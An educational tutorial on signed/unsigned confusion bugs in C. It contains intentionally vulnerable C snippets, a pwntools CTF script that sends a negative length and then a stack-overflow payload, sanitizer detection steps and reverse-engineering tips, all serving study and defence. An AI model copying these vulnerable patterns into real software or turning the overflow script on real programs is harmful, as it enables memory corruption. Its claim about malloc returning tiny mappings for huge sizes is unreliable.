Signed/Unsigned Confusion Exploitation: Negative Index Underflow and Memory Corruption via Sign Mismatch

Why This Matters

Signed/unsigned confusion is a class of vulnerability where a value is checked using signed semantics but used with unsigned semantics, or vice versa. A negative signed integer, when reinterpreted as an unsigned size_t, becomes an astronomically large value — causing massive out-of-bounds reads or writes. This pattern underlies CVE-2021-33909 (Linux kernel Sequoia, local privilege escalation) and numerous heap overflows in network daemons. NICE K0168, K0169, and T0028 require the analyst to identify where type coercion rules allow a negative attacker-supplied value to bypass a bounds check and then be used as a huge size.

Core Concept

In C, comparing a signed integer to an unsigned integer promotes the signed operand to unsigned. A negative signed value (e.g., -1) becomes a very large unsigned value (0xFFFFFFFFFFFFFFFF on 64-bit). This means:

int user_len = -1;
size_t max   = 1024;
if (user_len < max) {    // -1 < 1024 as signed? YES. But C promotes...
                         // Actually: if one operand is size_t (unsigned), -1 becomes SIZE_MAX
                         // comparison: SIZE_MAX < 1024 => FALSE. Check blocks. Safe here.

However, the dangerous variant is when both operands are signed:

int user_len = -1;
int max_len  = 1024;
if (user_len < max_len) {   // -1 < 1024: TRUE — check passes
    read(fd, buf, user_len); // user_len cast to size_t: read(fd, buf, SIZE_MAX) -- OOB write
}

The check uses signed comparison and passes for negative values. The read syscall takes size_t (unsigned), so user_len = -1 becomes SIZE_MAX bytes requested — an enormous read into the buffer.

Classic pattern: if (len < MAX) with signed len:

int len = recv_length(sock);      // attacker sends 0xFFFF8000 = -32768 as int32
if (len < MAX_PACKET_SIZE) {      // -32768 < 65536: TRUE — passes
    char *pkt = malloc(len);      // malloc(-32768) = malloc(0xFFFF8000) on 32-bit
                                  //                = malloc(0xFFFFFFFFFFFF8000) on 64-bit
    recv(sock, pkt, len);         // massive recv
}

read(fd, buf, (size_t)user_len) with negative user_len: Even if buf is on the stack:

char buf[256];
int  user_len = get_int_from_user();   // attacker sends -1
read(STDIN_FILENO, buf, (size_t)user_len);  // reads SIZE_MAX bytes -- stack corruption

Technical Deep-Dive

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_SIZE 4096

void process_data(int user_len) {
    // Vulnerable: signed check, unsigned use
    if (user_len < MAX_SIZE) {          // passes for negative user_len
        char *buf = malloc(user_len);   // malloc of huge value or wraps
        if (!buf) { perror("malloc"); return; }
        fread(buf, 1, user_len, stdin); // fread of huge count
        // process...
        free(buf);
    }
}

// Demonstrating the type promotion rule:
void demo_promotion(void) {
    int   signed_val   = -1;
    unsigned int uval  = 1;

    // Mixed signed/unsigned comparison: signed_val promoted to unsigned
    if ((unsigned int)signed_val > uval) {
        printf("UINT_MAX > 1: correct
");    // this branch taken
    }

    // Both signed: normal signed comparison
    if (signed_val < (int)uval) {
        printf("-1 < 1: correct
");          // this branch taken
    }
}

Exploiting signedness in a CTF challenge with pwntools:

from pwn import *
import struct

p = process('./signedness_vuln')

# Challenge reads a signed int32 for the buffer size
# Send -1 as a 4-byte signed integer (little-endian: ff ff ff ff)
# The check `if (len < 1024)` passes (-1 < 1024 in signed comparison)
# malloc(len) with len=-1: on 32-bit = malloc(0xFFFFFFFF) which typically fails (NULL)
# But if the challenge uses len directly as a copy count for a stack buffer:
# memcpy(stack_buf, heap_buf, len) with len=-1 -> SIZE_MAX copy -> stack overflow

malicious_len = struct.pack("<i", -1)   # -1 as signed int32 little-endian
p.send(malicious_len)

# Now send shellcode / ROP chain that will be copied onto the stack
payload = b'A' * 256 + p64(0xdeadbeef)   # overflow + RIP overwrite
p.send(payload)

p.interactive()

Detecting with AddressSanitizer and UBSan:

gcc -fsanitize=address,undefined -g -o vuln_asan vuln.c
./vuln_asan
# UBSan will report: runtime error: signed integer overflow or implicit conversion
# ASan will report: heap-buffer-overflow if the allocation is small but copy is large

Reverse Engineering Methodology

1. In Ghidra, after decompilation, check the types of every comparison against a constant MAX. If the operand is int or short (signed) but the constant is positive, negative values pass the check.
2. Search for patterns where recv, read, memcpy, fread, or malloc are called with a signed integer variable that was compared in a < MAX check. The check is insufficient for signed types.
3. Verify integer types by examining the disassembly: cmp eax, 0x1000 followed by jl (signed jump-if-less) allows negative EAX; jb (unsigned jump-if-below) would not.
4. Trace data from network input to size variables. Look for movsx (sign-extend) vs movzx (zero-extend) instructions — movsx preserves negativity from a smaller type.

Common Reversing Errors

• Assuming malloc(-1) always returns NULL: on some systems and glibc versions, malloc with a very large argument (from a negative int cast to size_t) may succeed in returning a non-NULL pointer to a tiny mapping, making subsequent overflows possible rather than causing an immediate crash.
• Confusing signed vs unsigned jump instructions in assembly: jl/jg are signed; jb/ja are unsigned. A bounds check using jl allows negative values through. Always check which conditional jump follows the cmp.
• Missing the implicit conversion in memcpy: memcpy(dst, src, -1) passes -1 as size_t, not as int. The function prototype enforces the conversion at the call site, which is exactly the vulnerability — the signed value escapes into an unsigned context.
• Underestimating negative as size_t on 32-bit vs 64-bit: on 32-bit, -1 as size_t = 0xFFFFFFFF (4 GB); on 64-bit it is 0xFFFFFFFFFFFFFFFF (16 EB). Both are catastrophically large, but the exploit path may differ based on how glibc handles the enormous malloc request.